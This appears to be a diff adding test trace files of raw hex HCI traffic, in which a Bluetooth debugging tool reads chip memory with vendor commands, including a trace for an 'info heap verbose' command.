+RX 040e08014dfc0000000000
+TX 014dfc058430210004
+RX 0000000b0000000b000000030000000000e27beec8bda250
+RX 040e08014dfc0000000000
+TX 014dfc05a830210004
+RX 0000000b0000000b000000030000000000e27beec8bdb5ea
+RX 040e08014dfc0006000000
+TX 014dfc05cc30210004
+RX 0000000b0000000b000000030000000000e27beec8bdcfa5
+RX 040e08014dfc00034100ff
+TX 014dfc05f030210004
+RX 0000000b0000000b000000030000000000e27beec8bdfa1c
+RX 040e08014dfc00a594a534
+TX 014dfc051431210004
+RX 0000000b0000000b000000030000000000e27beec8be0bd5
+RX 040e08014dfc0000ff0080
+TX 014dfc053831210004
+RX 0000000b0000000b000000030000000000e27beec8be3670
+RX 040e08014dfc0058312100
+TX 014dfc055c31210004
+RX 0000000b0000000b000000030000000000e27beec8be4d2b
+RX 040e08014dfc00ffef3df1
+TX 014dfc058031210004
+RX 0000000b0000000b000000030000000000e27beec8be67d6
+RX 040e08014dfc00034100ff
+TX 014dfc05a431210004
+RX 0000000b0000000b000000030000000000e27beec8be925f
+RX 040e08014dfc002800ac01
+TX 014dfc05c831210004
+RX 0000000b0000000b000000030000000000e27beec8bea504
+RX 040e08014dfc0028000000
+TX 014dfc05ec31210004
+RX 0000000b0000000b000000030000000000e27beec8bed190
+RX 040e08014dfc0000400000
+TX 014dfc051032210004
+RX 0000000b0000000b000000030000000000e27beec8bf1d55
+RX 040e08014dfc0000ffffff
+TX 014dfc053432210004
+RX 0000000b0000000b000000030000000000e27beec8bf4820
+RX 040e08014dfc0000000005
+TX 014dfc055832210004
+RX 0000000b0000000b000000030000000000e27beec8bf65bc
+RX 040e08014dfc0078322100
+TX 014dfc057c32210004
+RX 0000000b0000000b000000030000000000e27beec8bfa62f
+RX 040e08014dfc0000002000
+TX 014dfc05a032210004
+RX 0000000b0000000b000000030000000000e27beec8bfe6ad
+RX 040e08014dfc00a3ce1400
+TX 014dfc05c432210004
+RX 0000000b0000000b000000030000000000e27beec8c02906
+RX 040e08014dfc00eb049005
+TX 014dfc05e832210004
+RX 0000000b0000000b000000030000000000e27beec8c068f2
+RX 040e08014dfc0045064506
+TX 014dfc050c33210004
+RX 0000000b0000000b000000030000000000e27beec8c0c6e8
+RX 040e08014dfc006004a104
+TX 014dfc053033210004
+RX 0000000b0000000b000000030000000000e27beec8c0ec44
+RX 040e08014dfc0026052605
+TX 014dfc055433210004
+RX 0000000b0000000b000000030000000000e27beec8c14a80
+RX 040e08014dfc00ffac02ff
+TX 014dfc057833210004
+RX 0000000b0000000b000000030000000000e27beec8c1aa6b
+RX 040e08014dfc0098332100
+TX 014dfc059c33210004
+RX 0000000b0000000b000000030000000000e27beec8c1eda3
+RX 040e08014dfc00c004ffc4
+TX 014dfc05c033210004
+RX 0000000b0000000b000000030000000000e27beec8c22ef6
+RX 040e08014dfc003c323232
+TX 014dfc05e433210004
+RX 0000000b0000000b000000030000000000e27beec8c271ed
+RX 040e08014dfc0010101010
+TX 014dfc050834210004
+RX 0000000b0000000b000000030000000000e27beec8c2d0c3
+RX 040e08014dfc0077777777
+TX 014dfc052c34210004
+RX 0000000b0000000b000000030000000000e27beec8c2ffeb
+RX 040e08014dfc006f6f6f0f
+TX 014dfc055034210004
+RX 0000000b0000000b000000030000000000e27beec8c34a6d
+RX 040e08014dfc0074078c8c
+TX 014dfc057434210004
+RX 0000000b0000000b000000030000000000e27beec8c3a9f6
+RX 040e08014dfc00ff060100
+TX 014dfc059834210004
+RX 0000000b0000000b000000030000000000e27beec8c44939
+RX 040e08014dfc00b8342100
+TX 014dfc05bc34210004
+RX 0000000b0000000b000000030000000000e27beec8c4a8d6
+RX 040e08014dfc009f747474
+TX 014dfc05e034210004
+RX 0000000b0000000b000000030000000000e27beec8c4e0e9
+RX 040e08014dfc009f9f9f9f
+TX 014dfc050435210004
+RX 0000000b0000000b000000030000000000e27beec8c516f9
+RX 040e08014dfc007f7f7f7f
+TX 014dfc052835210004
+RX 0000000b0000000b000000030000000000e27beec8c55b3f
+RX 040e08014dfc007272727c
+TX 014dfc054c35210004
+RX 0000000b0000000b000000030000000000e27beec8c5ba24
+RX 040e08014dfc0004eb04eb
+TX 014dfc057035210004
+RX 0000000b0000000b000000030000000000e27beec8c5f023
+RX 040e08014dfc0006450645
+TX 014dfc059435210004
+RX 0000000b0000000b000000030000000000e27beec8c62f77
+RX 040e08014dfc0004600460
+TX 014dfc05b835210004
+RX 0000000b0000000b000000030000000000e27beec8c68ce1
+RX 040e08014dfc00d8352100
+TX 014dfc05dc35210004
+RX 0000000b0000000b000000030000000000e27beec8c6f0d3
+RX 040e08014dfc00ffa802ff
+TX 014dfc050036210004
+RX 0000000b0000000b000000030000000000e27beec8c72cf5
+RX 040e08014dfc0007ffc807
+TX 014dfc052436210004
+RX 0000000b0000000b000000030000000000e27beec8c76a48
+RX 040e08014dfc00bc04ffc0
+TX 014dfc054836210004
+RX 0000000b0000000b000000030000000000e27beec8c7977a
+RX 040e08014dfc003c3c3c3c
+TX 014dfc056c36210004
+RX 0000000b0000000b000000030000000000e27beec8c7d576
+RX 040e08014dfc003c3c3c50
+TX 014dfc059036210004
+RX 0000000b0000000b000000030000000000e27beec8c816d5
+RX 040e08014dfc002100d82a
+TX 014dfc05b436210004
+RX 0000000b0000000b000000030000000000e27beec8c85767
+RX 040e08014dfc0021000000
+TX 014dfc05d836210004
+RX 0000000b0000000b000000030000000000e27beec8c89933
+RX 040e08014dfc0038372100
+TX 014dfc05fc36210004
+RX 0000000b0000000b000000030000000000e27beec8c8def2
+RX 040e08014dfc00077f0006
+TX 014dfc052037210004
+RX 0000000b0000000b000000030000000000e27beec8c91e7f
+RX 040e08014dfc0005ca05ca
+TX 014dfc054437210004
+RX 0000000b0000000b000000030000000000e27beec8c95e25
+RX 040e08014dfc00ff14ff14
+TX 014dfc056837210004
+RX 0000000b0000000b000000030000000000e27beec8c99e18
+RX 040e08014dfc004b5a5a5a
+TX 014dfc058c37210004
+RX 0000000b0000000b000000030000000000e27beec8c9e152
+RX 040e08014dfc0001030105
+TX 014dfc05b037210004
+RX 0000000b0000000b000000030000000000e27beec8ca1f93
+RX 040e08014dfc00646c2000
+TX 014dfc05d437210004
+RX 0000000b0000000b000000030000000000e27beec8ca5f0c
+RX 040e08014dfc00fdf9f5f1
+TX 014dfc05bc06200030
+RX 0000003700000037000000030000000000e27beec8cab627
+RX 040e34014dfc00dc06200060003e0078362100783621003e02252100000000000000003d00d187fc0620000c011400b84d2100c44e2100
+TX 014dfc057836210004
+RX 0000000b0000000b000000030000000000e27beec8cb54a0
+RX 040e08014dfc00d8362100
+TX 014dfc05dc36210004
+RX 0000000b0000000b000000030000000000e27beec8cbb5e5
+RX 040e08014dfc00078c8c8c
+TX 014dfc054037210004
+RX 0000000b0000000b000000030000000000e27beec8cc553c
+RX 040e08014dfc00ff14ff14
+TX 014dfc05a437210004
+RX 0000000b0000000b000000030000000000e27beec8ccb5d4
+RX 040e08014dfc0001030105
+TX 014dfc050838210004
+RX 0000000b0000000b000000030000000000e27beec8cd1876
+RX 040e08014dfc0000000000
+TX 014dfc056c38210004
+RX 0000000b0000000b000000030000000000e27beec8cd5de5
+RX 040e08014dfc0010101010
+TX 014dfc05d038210004
+RX 0000000b0000000b000000030000000000e27beec8cd9d16
+RX 040e08014dfc000a0602fe
+TX 014dfc053439210004
+RX 0000000b0000000b000000030000000000e27beec8cdddaa
+RX 040e08014dfc0004080c10
+TX 014dfc059839210004
+RX 0000000b0000000b000000030000000000e27beec8ce306b
+RX 040e08014dfc0000000003
+TX 014dfc05fc39210004
+RX 0000000b0000000b000000030000000000e27beec8cee84e
+RX 040e08014dfc00706f7d75
+TX 014dfc05603a210004
+RX 0000000b0000000b000000030000000000e27beec8cff073
+RX 040e08014dfc0071718d87
+TX 014dfc05c43a210004
+RX 0000000b0000000b000000030000000000e27beec8d0283c
+RX 040e08014dfc0050615d54
+TX 014dfc05283b210004
+RX 0000000b0000000b000000030000000000e27beec8d07100
+RX 040e08014dfc0058666d60
+TX 014dfc058c3b210004
+RX 0000000b0000000b000000030000000000e27beec8d10a0d
+RX 040e08014dfc000a07ee03
+TX 014dfc05f03b210004
+RX 0000000b0000000b000000030000000000e27beec8d16ebd
+RX 040e08014dfc007d756d75
+TX 014dfc05543c210004
+RX 0000000b0000000b000000030000000000e27beec8d1e50b
+RX 040e08014dfc008d877c81
+TX 014dfc05b83c210004
+RX 0000000b0000000b000000030000000000e27beec8d26209
+RX 040e08014dfc005d54575f
+TX 014dfc051c3d210004
+RX 0000000b0000000b000000030000000000e27beec8d2dcc5
+RX 040e08014dfc006d605c6c
+TX 014dfc05803d210004
+RX 0000000b0000000b000000030000000000e27beec8d3255a
+RX 040e08014dfc000e782220
+TX 014dfc05e43d210004
+RX 0000000b0000000b000000030000000000e27beec8d39f84
+RX 040e08014dfc000d0d0d0d
+TX 014dfc05483e210004
+RX 0000000b0000000b000000030000000000e27beec8d42163
+RX 040e08014dfc000000000d
+TX 014dfc05ac3e210004
+RX 0000000b0000000b000000030000000000e27beec8d46fa9
+RX 040e08014dfc00c4012c53
+TX 014dfc05103f210004
+RX 0000000b0000000b000000030000000000e27beec8d4ee2f
+RX 040e08014dfc0000005d5d
+TX 014dfc05743f210004
+RX 0000000b0000000b000000030000000000e27beec8d5a95c
+RX 040e08014dfc00c401ec53
+TX 014dfc05d83f210004
+RX 0000000b0000000b000000030000000000e27beec8d6df0b
+RX 040e08014dfc0038402100
+TX 014dfc053c40210004
+RX 0000000b0000000b000000030000000000e27beec8d760ab
+RX 040e08014dfc00c50104ec
+TX 014dfc05a040210004
+RX 0000000b0000000b000000030000000000e27beec8d7dd87
+RX 040e08014dfc000000005e
+TX 014dfc050441210004
+RX 0000000b0000000b000000030000000000e27beec8d8589b
+RX 040e08014dfc0001c401ac
+TX 014dfc056841210004
+RX 0000000b0000000b000000030000000000e27beec8d8d892
+RX 040e08014dfc00d90000e1
+TX 014dfc05cc41210004
+RX 0000000b0000000b000000030000000000e27beec8d9936f
+RX 040e08014dfc0001c4016c
+TX 014dfc053042210004
+RX 0000000b0000000b000000030000000000e27beec8daca68
+RX 040e08014dfc00e00000e8
+TX 014dfc059442210004
+RX 0000000b0000000b000000030000000000e27beec8db80fd
+RX 040e08014dfc0001648c58
+TX 014dfc05f842210004
+RX 0000000b0000000b000000030000000000e27beec8dbc58e
+RX 040e08014dfc00ff000301
+TX 014dfc055c43210004
+RX 0000000b0000000b000000030000000000e27beec8dc800d
+RX 040e08014dfc005f000055
+TX 014dfc05c043210004
+RX 0000000b0000000b000000030000000000e27beec8dcc4b1
+RX 040e08014dfc0000001000
+TX 014dfc052444210004
+RX 0000000b0000000b000000030000000000e27beec8dd4471
+RX 040e08014dfc00f40757b8
+TX 014dfc058844210004
+RX 0000000b0000000b000000030000000000e27beec8de00c2
+RX 040e08014dfc0000001400
+TX 014dfc05ec44210004
+RX 0000000b0000000b000000030000000000e27beec8debd7a
+RX 040e08014dfc0000040000
+TX 014dfc055045210004
+RX 0000000b0000000b000000030000000000e27beec8df388c
+RX 040e08014dfc0000002c00
+TX 014dfc05b445210004
+RX 0000000b0000000b000000030000000000e27beec8dfb15c
+RX 040e08014dfc0000100000
+TX 014dfc051846210004
+RX 0000000b0000000b000000030000000000e27beec8e02d31
+RX 040e08014dfc007c0a50bc
+TX 014dfc057c46210004
+RX 0000000b0000000b000000030000000000e27beec8e0f1d2
+RX 040e08014dfc0008040007
+TX 014dfc05e046210004
+RX 0000000b0000000b000000030000000000e27beec8e135fd
+RX 040e08014dfc0000000400
+TX 014dfc054447210004
+RX 0000000b0000000b000000030000000000e27beec8e2360e
+RX 040e08014dfc0000010301
+TX 014dfc05a847210004
+RX 0000000b0000000b000000030000000000e27beec8e2b095
+RX 040e08014dfc0015032003
+TX 014dfc050c48210004
+RX 0000000b0000000b000000030000000000e27beec8e36a06
+RX 040e08014dfc00fb010502
+TX 014dfc057048210004
+RX 0000000b0000000b000000030000000000e27beec8e3b071
+RX 040e08014dfc006a023402
+TX 014dfc05d448210004
+RX 0000000b0000000b000000030000000000e27beec8e42f49
+RX 040e08014dfc0003db03a2
+TX 014dfc053849210004
+RX 0000000b0000000b000000030000000000e27beec8e4abd2
+RX 040e08014dfc0098492100
+TX 014dfc059c49210004
+RX 0000000b0000000b000000030000000000e27beec8e56bb6
+RX 040e08014dfc0001a901e0
+TX 014dfc05004a210004
+RX 0000000b0000000b000000030000000000e27beec8e62b2e
+RX 040e08014dfc0003540397
+TX 014dfc05644a210004
+RX 0000000b0000000b000000030000000000e27beec8e65871
+RX 040e08014dfc00402020e0
+TX 014dfc05c84a210004
+RX 0000000b0000000b000000030000000000e27beec8e6d1ac
+RX 040e08014dfc00030105f8
+TX 014dfc052c4b210004
+RX 0000000b0000000b000000030000000000e27beec8e72cb7
+RX 040e08014dfc0004000400
+TX 014dfc05904b210004
+RX 0000000b0000000b000000030000000000e27beec8e7c71f
+RX 040e08014dfc0062005100
+TX 014dfc05f44b210004
+RX 0000000b0000000b000000030000000000e27beec8e82358
+RX 04
+RX 0e08014dfc0002000200
+TX 014dfc05584c210004
+RX 0000000b0000000b000000030000000000e27beec8e844c3
+RX 040e08014dfc0000000000
+TX 014dfc05bc4c210004
+RX 0000000b0000000b000000030000000000e27beec8e8a3de
+RX 040e08014dfc0098036000
+TX 014dfc05204d210004
+RX 0000000b0000000b000000030000000000e27beec8e949b9
+RX 040e08014dfc0000000000
+TX 014dfc05844d210004
+RX 0000000b0000000b000000030000000000e27beec8e986dd
+RX 040e08014dfc002e61319e
+TX 014dfc05e84d210004
+RX 0000000b0000000b000000030000000000e27beec8ea05c9
+RX 040e08014dfc0000000000
+TX 014dfc054c4e210004
+RX 0000000b0000000b000000030000000000e27beec8ea8359
+RX 040e08014dfc0000000000
+TX 014dfc05dc06200030
+RX 0000003700000037000000030000000000e27beec8eb0ffe
+RX 040e34014dfc00fc0620000c011400b84d2100c44e2100120126e200000000000000001100c658e8af200040040a00a8622100a8622100
+TX 014dfc05b84d210004
+RX 0000000b0000000b000000030000000000e27beec8eb4ccb
+RX 040e08014dfc0000000000
+TX 014dfc05c84e210004
+RX 0000000b0000000b000000030000000000e27beec8ebcd42
+RX 040e08014dfc003f700000
+TX 014dfc05d84f210004
+RX 0000000b0000000b000000030000000000e27beec8ec0e9c
+RX 040e08014dfc0020533819
+TX 014dfc05e850210004
+RX 0000000b0000000b000000030000000000e27beec8ec5f52
+RX 040e08014dfc0013001001
+TX 014dfc05f851210004
+RX 0000000b0000000b000000030000000000e27beec8ecdb92
+RX 040e08014dfc0010010f25
+TX 014dfc050853210004
+RX 0000000b0000000b000000030000000000e27beec8ed50ea
+RX 040e08014dfc0000e25213
+TX 014dfc051854210004
+RX 0000000b0000000b000000030000000000e27beec8edd384
+RX 04
+RX 0e08014dfc00010f42ec
+TX 014dfc052855210004
+RX 0000000b0000000b000000030000000000e27beec8ee4bb8
+RX 040e08014dfc005194ac0a
+TX 014dfc053856210004
+RX 0000000b0000000b000000030000000000e27beec8ee8701
+RX 040e08014dfc00da0700ba
+TX 014dfc054857210004
+RX 0000000b0000000b000000030000000000e27beec8eec66b
+RX 040e08014dfc000016f194
+TX 014dfc055858210004
+RX 0000000b0000000b000000030000000000e27beec8ef0557
+RX 040e08014dfc00f1feba00
+TX 014dfc056859210004
+RX 0000000b0000000b000000030000000000e27beec8ef42d1
+RX 040e08014dfc00be000022
+TX 014dfc05785a210004
+RX 0000000b0000000b000000030000000000e27beec8efa354
+RX 040e08014dfc000010010f
+TX 014dfc05885b210004
+RX 0000000b0000000b000000030000000000e27beec8f02fd3
+RX 040e08014dfc000000e807
+TX 014dfc05985c210004
+RX 0000000b0000000b000000030000000000e27beec8f0af07
+RX 040e08014dfc00b8000072
+TX 014dfc05a85d210004
+RX 0000000b0000000b000000030000000000e27beec8f12d71
+RX 040e08014dfc00030008f1
+TX 014dfc05b85e210004
+RX 0000000b0000000b000000030000000000e27beec8f18d3a
+RX 040e08014dfc0087f04cbe
+TX 014dfc05c85f210004
+RX 0000000b0000000b000000030000000000e27beec8f20d89
+RX 040e08014dfc0008b90000
+TX 014dfc05d860210004
+RX 0000000b0000000b000000030000000000e27beec8f28f39
+RX 040e08014dfc000c01003a
+TX 014dfc05e861210004
+RX 0000000b0000000b000000030000000000e27beec8f34ef0
+RX 040e08014dfc001936c92b
+TX 014dfc05fc06200030
+RX 0000003700000037000000030000000000e27beec8f4887c
+RX 040e34014dfc00e8af200040040a00a8622100a86221000a006a1400000000000000000a006b3f7be9b581f1177b3f21f7dd9df06e0ae2
+TX 014dfc05a862210004
+RX 0000000b0000000b000000030000000000e27beec8f5452d
+RX 040e08014dfc00e8662100
+TX 014dfc05ec66210004
+RX 0000000b0000000b000000030000000000e27beec8f587b4
+RX 040e08014dfc00c350d687
+TX 014dfc05306b210004
+RX 0000000b0000000b000000030000000000e27beec8f603b5
+RX 040e08014dfc00e3c78237
+TX 014dfc05746f210004
+RX 0000000b0000000b000000030000000000e27beec8f6c570
+RX 040e08014dfc0019aac824
+TX 014dfc05b873210004
+RX 0000000b0000000b000000030000000000e27beec8f78596
+RX 040e08014dfc0069d31cf3
+TX 014dfc05fc77210004
+RX 0000000b0000000b000000030000000000e27beec8f83e69
+RX 040e08014dfc003d11e110
+TX 014dfc05407c210004
+RX 0000000b0000000b000000030000000000e27beec8f87ff8
+RX 040e08014dfc0027e57831
+TX 014dfc058480210004
+RX 0000000b0000000b000000030000000000e27beec8f90b52
+RX 040e08014dfc00fcdaacf0
+TX 014dfc05c884210004
+RX 0000000b0000000b000000030000000000e27beec8f9836b
+RX 040e08014dfc007ffa8079
+TX 014dfc050c89210004
+RX 0000000b0000000b000000030000000000e27beec8f9fb7d
+RX 040e08014dfc000de1ad99
+TX 014dfc05e8af200030
+RX 0000003700000037000000030000000000e27beec8fa77a3
+RX 040e34014dfc0008b020002c040400288d2100288d21000400000000000000000000000400000028b0200044041000d89d2100d89d2100
+TX 014dfc05288d210004
+RX 0000000b0000000b000000030000000000e27beec8faf0d8
+RX 040e08014dfc0054912100
+TX 014dfc055891210004
+RX 0000000b0000000b000000030000000000e27beec8fba912
+RX 040e08014dfc00b437b423
+TX 014dfc058895210004
+RX 0000000b0000000b000000030000000000e27beec8fce262
+RX 040e08014dfc00f7ab1031
+TX 014dfc05b899210004
+RX 0000000b0000000b000000030000000000e27beec8fd9559
+RX 040e08014dfc001bbf2c9c
+TX 014dfc0508b0200030
+RX 0000003700000037000000030000000000e27beec8fde150
+RX 040e34014dfc0028b0200044041000d89d2100d89d21001000000000000000000000001000000048b0200008010f0018e2210018e22100
+TX 014dfc05d89d210004
+RX 0000000b0000000b000000030000000000e27beec8fe5bbf
+RX 040e08014dfc001ca22100
+TX 014dfc0520a2210004
+RX 0000000b0000000b000000030000000000e27beec8fed310
+RX 040e08014dfc0030c8795b
+TX 014dfc0568a6210004
+RX 0000000b0000000b000000030000000000e27beec8ff4e98
+RX 040e08014dfc0061d5fb13
+TX 014dfc05b0aa210004
+RX 0000000b0000000b000000030000000000e27beec9000666
+RX 040e08014dfc008a3dc78e
+TX 014dfc05f8ae210004
+RX 0000000b0000000b000000030000000000e27beec9013b64
+RX 040e08014dfc00c9dcb769
+TX 014dfc0540b3210004
+RX 0000000b0000000b000000030000000000e27beec901f5f6
+RX 040e08014dfc00e2722f0c
+TX 014dfc0588b7210004
+RX 0000000b0000000b000000030000000000e27beec90243ad
+RX 040e08014dfc006c0b98fc
+TX 014dfc05d0bb210004
+RX 0000000b0000000b000000030000000000e27beec902bba8
+RX 040e08014dfc00101603ea
+TX 014dfc0518c0210004
+RX 0000000b0000000b000000030000000000e27beec9033534
+RX 040e08014dfc005c915487
+TX 014dfc0560c4210004
+RX 0000000b0000000b000000030000000000e27beec903b1b4
+RX 040e08014dfc00cb41f3b2
+TX 014dfc05a8c8210004
+RX 0000000b0000000b000000030000000000e27beec903f22c
+RX 040e08014dfc00db93b18f
+TX 014dfc05f0cc210004
+RX 0000000b0000000b000000030000000000e27beec9046edb
+RX 040e08014dfc005c5ca405
+TX 014dfc0538d1210004
+RX 0000000b0000000b000000030000000000e27beec904f985
+RX 040e08014dfc00fd2d6388
+TX 014dfc0580d5210004
+RX 0000000b0000000b000000030000000000e27beec9056232
+RX 040e08014dfc00c17ab6d8
+TX 014dfc05c8d9210004
+RX 0000000b0000000b000000030000000000e27beec9059ba7
+RX 040e08014dfc00355e57a9
+TX 014dfc0510de210004
+RX 0000000b0000000b000000030000000000e27beec9060d61
+RX 040e08014dfc00e4b02aa9
+TX 014dfc0528b0200030
+RX 0000003700000037000000030000000000e27beec90675ed
+RX 040e34014dfc0048b0200008010f0018e2210018e221000f00000000000000000000000f0000000000000008010f0090f1210090f12100
+TX 014dfc0518e2210004
+RX 0000000b0000000b000000030000000000e27beec906f599
+RX 040e08014dfc0020e32100
+TX 014dfc0524e3210004
+RX 0000000b0000000b000000030000000000e27beec9077a41
+RX 040e08014dfc0000000000
+TX 014dfc0530e4210004
+RX 0000000b0000000b000000030000000000e27beec90800c4
+RX 040e08014dfc0000000000
+TX 014dfc053ce5210004
+RX 0000000b0000000b000000030000000000e27beec9087b8b
+RX 040e08014dfc0000000000
+TX 014dfc0548e6210004
+RX 0000000b0000000b000000030000000000e27beec908f918
+RX 040e08014dfc0000000000
+TX 014dfc0554e7210004
+RX 0000000b0000000b000000030000000000e27beec9097805
+RX 040e08014dfc0000000000
+TX 014dfc0560e8210004
+RX 0000000b0000000b000000030000000000e27beec90a7c3c
+RX 040e08014dfc0000000000
+TX 014dfc056ce9210004
+RX 0000000b0000000b000000030000000000e27beec90af9a6
+RX 040e08014dfc0000000000
+TX 014dfc0578ea210004
+RX 0000000b0000000b000000030000000000e27beec90b7674
+RX 040e08014dfc0000000000
+TX 014dfc0584eb210004
+RX 0000000b0000000b000000030000000000e27beec90c3303
+RX 040e08014dfc0000000000
+TX 014dfc0590ec210004
+RX 0000000b0000000b000000030000000000e27beec90d6914
+RX 04
+RX 0e08014dfc0000000000
+TX 014dfc059ced210004
+RX 0000000b0000000b000000030000000000e27beec90e27ef
+RX 040e08014dfc0000000000
+TX 014dfc05a8ee210004
+RX 0000000b0000000b000000030000000000e27beec90f63b6
+RX 040e08014dfc0000000000
+TX 014dfc05b4ef210004
+RX 0000000b0000000b000000030000000000e27beec91021bb
+RX 040e08014dfc0000000000
+TX 014dfc05c0f0210004
+RX 0000000b0000000b000000030000000000e27beec9106e47
+RX 040e08014dfc0000000000
+TX 014dfc0548b0200030
+RX 0000003700000037000000030000000000e27beec910ef09
+RX 040e34014dfc000000000008010f0090f1210090f121000f00000000000000000000000f00000000000000000000000000000000000000
+TX 014dfc0590f1210004
+RX 0000000b0000000b000000030000000000e27beec9117983
+RX 040e08014dfc0098f22100
+TX 014dfc059cf2210004
+RX 0000000b0000000b000000030000000000e27beec911f917
+RX 040e08014dfc0000000000
+TX 014dfc05a8f3210004
+RX 0000000b0000000b000000030000000000e27beec9127344
+RX 040e08014dfc0000000000
+TX 014dfc05b4f4210004
+RX 0000000b0000000b000000030000000000e27beec912f035
+RX 040e08014dfc0000000000
+TX 014dfc05c0f5210004
+RX 0000000b0000000b000000030000000000e27beec9136ada
+RX 040e08014dfc0000000000
+TX 014dfc05ccf6210004
+RX 0000000b0000000b000000030000000000e27beec913e4a2
+RX 040e08014dfc0000000000
+TX 014dfc05d8f7210004
+RX 0000000b0000000b000000030000000000e27beec9149bb2
+RX 040e08014dfc0000000000
+TX 014dfc05e4f8210004
+RX 0000000b0000000b000000030000000000e27beec9155ada
+RX 040e08014dfc0000000000
+TX 014dfc05f0f9210004
+RX 0000000b0000000b000000030000000000e27beec91614ec
+RX 040e08014dfc0000000000
+TX 014dfc05fcfa210004
+RX 0000000b0000000b000000030000000000e27beec916d569
+RX 040e08014dfc0000000000
+TX 014dfc0508fc210004
+RX 0000000b0000000b000000030000000000e27beec9174ca5
+RX 040e08014dfc0000000000
+TX 014dfc0514fd210004
+RX 0000000b0000000b000000030000000000e27beec918072d
+RX 040e08014dfc0000000000
+TX 014dfc0520fe210004
+RX 0000000b0000000b000000030000000000e27beec9184a5a
+RX 040e08014dfc0000000000
+TX 014dfc052cff210004
+RX 0000000b0000000b000000030000000000e27beec918c2f1
+RX 040e08014dfc0000000000
+TX 014dfc053800220004
+RX 0000000b0000000b000000030000000000e27beec9197cf2
+RX 040e08014dfc0000000000
+Socket closed

tests/traces/adbcore/info_heap_verbose.trace

@@ -0,0 +1,673 @@
+#info heap verbose
+TX 010300011000
+RX 00000004
+RX 00000004
+RX 00000002
+RX 00000000
+RX 00e269c2
+RX 24f45277
+RX 01
+RX 011000
+RX 0000000f
+RX 0000000f
+RX 00000003
+RX 00000000
+RX 00e269c2
+RX 24f49bf7
+RX 04
+RX 0e0c01011000075301070f000961
+TX 070200f001
+TX 0108004dfc059430200004
+RX 000000030000000300000003
+RX 0000000000e269c224f66ff7
+RX 07f001
+RX 00000009
+RX 00000009000000020000000000e269c2
+RX 24f6d31f
+RX 014dfc059430200004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 24f70f36
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05c85d200030
+RX 0000000900000009000000020000000000e269c224f82dac
+RX 014dfc05c85d200030
+RX 00000037
+RX 00000037000000030000000000e269c2
+RX 24f8351d
+RX 040e34014dfc00434f4c42000000000700000008000000a4792100a479210020010000200000000000000000000000f85d200068ec2000
+TX 0108004dfc05a479210004
+RX 0000000900000009000000020000000000e269c224f96863
+RX 01
+RX 4dfc05a479210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 24f96f9b
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05c879210004
+RX 0000000900000009000000020000000000e269c224fa033d
+RX 014dfc05c879210004
+RX 0000000b0000000b
+RX 000000030000000000e269c224fa0a66
+RX 040e08014dfc00587a2100
+TX 0108004dfc05ec79210004
+RX 00000009000000090000000200000000
+RX 00e269c224faa230
+RX 01
+RX 4dfc05ec79210004
+RX 0000000b0000000b
+RX 000000030000000000e269c2
+RX 24fac81f
+RX 040e08014dfc007c7a2100
+TX 0108004dfc05107a210004
+RX 0000000900000009000000020000000000e269c224fbaae4
+RX 014dfc05107a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 24fbd8f3
+RX 040e08014dfc00c8792100
+TX 0108004dfc05347a210004
+RX 0000000900000009000000020000000000e269c224fd9b54
+RX 014dfc05347a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 24fdce26
+RX 040e08014dfc00c85d2000
+TX 0108004dfc05587a210004
+RX 0000000900000009000000020000000000e269c224ff1027
+RX 01
+RX 4dfc05587a210004
+RX 0000000b0000000b
+RX 000000030000000000e269c224ff3f90
+RX 040e08014dfc00ec792100
+TX 0108004dfc057c7a210004
+RX 000000090000000900000002
+RX 0000000000e269c225010a6e
+RX 014dfc057c7a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c2
+RX 25013f2d
+RX 040e08014dfc00a07a2100
+TX 0108004dfc05a07a210004
+RX 0000000900000009000000020000000000e269c22502fae6
+RX 01
+RX 4dfc05a07a210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c225032df8
+RX 04
+RX 0e08014dfc0000000000
+TX 0108004dfc05f85d200030
+RX 0000000900000009000000020000000000e269c2250476e7
+RX 014dfc05f85d200030
+RX 00000037
+RX 00000037000000030000000000e269c2
+RX 2504a4d2
+RX 040e34014dfc00434f4c42000000000700000008000000087b2100c47a210020020000400000000000000000000000285e2000c85d2000
+TX 0108004dfc05c47a210004
+RX 000000090000000900000002
+RX 0000000000e269c225066c76
+RX 014dfc05c47a210004
+RX 0000000b
+RX 0000000b000000030000000000e269c22506a5f8
+RX 040e08014dfc00087b2100
+TX 0108004dfc05087b210004
+RX 0000000900000009000000020000000000e269c22507e065
+RX 014dfc05087b210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c225080920
+RX 04
+RX 0e08014dfc004c7b2100
+TX 0108004dfc054c7b210004
+RX 000000090000000900000002
+RX 0000000000e269c2
+RX 2509ddbe
+RX 014dfc054c7b210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2250a11f3
+RX 04
+RX 0e08014dfc00907b2100
+TX 0108004dfc05907b210004
+RX 0000000900000009000000020000000000e269c2250b50dd
+RX 01
+RX 4dfc05907b210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2250b8020
+RX 040e08014dfc00d47b2100
+TX 0108004dfc05d47b210004
+RX 0000000900000009000000020000000000e269c2
+RX 250d460e
+RX 014dfc05d47b210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c2250d78d8
+RX 04
+RX 0e08014dfc00187c2100
+TX 0108004dfc05187c210004
+RX 0000000900000009000000020000000000e269c2
+RX 250f38a4
+RX 014dfc05187c210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c2250f6cd6
+RX 04
+RX 0e08014dfc005c7c2100
+TX 0108004dfc055c7c210004
+RX 0000000900000009000000020000000000e269c2
+RX 2510b373
+RX 014dfc055c7c210004
+RX 0000000b0000000b00000003
+RX 0000000000e269c22510e1a3
+RX 04
+RX 0e08014dfc00a07c2100
+TX 0108004dfc05a07c210004
+RX 000000090000000900000002
+RX 0000000000e269c22512a9bc
+RX 014dfc05a07c210004
+RX 0000000b
+RX 0000000b0000000300000000
+RX 00e269c22512f3eb
+RX 040e08014dfc0000000000
+TX 0108004dfc05285e200030
+RX 000000090000000900000002
+RX 0000000000e269c22513f86b
+RX 014dfc05285e200030
+RX 0000003700000037000000030000000000e269c2251400aa
+RX 040e34014dfc00434f4c42000000000a0000000a000000e47c2100e47c2100780a0000080100000000000000000000885e2000f85d2000
